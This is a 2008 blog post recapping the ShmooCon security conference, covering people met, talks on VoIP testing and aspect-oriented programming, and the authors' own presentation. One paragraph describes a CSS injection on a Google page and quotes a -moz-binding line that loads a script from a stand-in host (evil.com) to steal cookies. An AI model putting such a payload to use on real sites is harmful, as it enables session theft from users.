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Back from D.C. -- ShmooCon 2008 recap

We're back from a great weekend in Washington, D.C. at ShmooCon 08'. Dre and I arrived Thursday night just in time for the bar to close and with having no hotel room reserved, we were in for a long night. Interestingly enough though, at around 5am, we found that we were able to modify the look of a Google page through a CSS stylesheet we controled. Using the tr:first-child td CSS property, we could do all sorts of things to Google's content, such as display:none and changing the color.

We had plans to meet up with Arshan of omg.wtf.bbq (and author of Anti-Samy) later that morning, so he invited us back to the Aspect Security office to hang out with the team. Jeff Williams, chairman of the OWASP board gave us a tour and we even had the chance to see the OWASP wiki, quietly humming away in its rack. So beautiful.. We showed off our finding to Arshan and Jeff to get some ideas on where to take it. I went in thinking we should try out -moz-binding:url(), so Arshan quickly wrote up some JavaScript that would steal Google cookies. We tried it out and it worked -- the working exploit affected Google through the following CSS property:

tr:first-child td {-moz-binding:url("http://evil.com/xssmoz.xml#xss");}

Later that evening, we met up with Romain Gaucher, Jon Rose, Brian Holyfield and a bunch of other people to go out drinking. We ended up discussing our talk a lot that night and some of the work we've all been doing. So much cool stuff, I can barely wrap my head around it all.

On Saturday, we hung out with Joe from Learn Security Online who gave me some cool tips on VoIP pen-testing, and which conveniently lead to seeing Jason Ostrom and John Kindervag (the VoIP hacker clowns) talk about penetration testing VoIP networks, something that'll come in real handy over the next couple weeks for me.

I shortly met up with Hoff for a bit, going to the talk on how databases are so hard to secure... After about five minutes I followed Hoff out and went to TL1 Device Security, which was pretty much over! The discussions though were great, and I got some good information out of it, having gone in not even knowing wtf a TL1 is. Basically a TL1 is SNMP for telecoms -- think SCADA without the controls, and only worse. eek

The best talk of the day was hands down, Rohit and Nish's talk on Using Aspect Oriented Programming to Prevent Application Attacks. What's nice about AOP is the ability to secure legacy code without having to touch the source. It would be nice to implement AOP along with building security in throughout the entire Secure SDLC. We got to talking with Rohit and Nish, along with their friend Hugo throughout the evening.

After our talk Sunday, Chris Gates and Dean came up to us to say hello. Like they said on their blog, it's nice finally putting faces to names. Anyways, that's pretty much it for this weekend. I'm working on getting our presentation content up soon (before the night's over), so stay tuned for that.

Posted by Marcin on Tuesday, February 19, 2008 in Conferences, People and Security.

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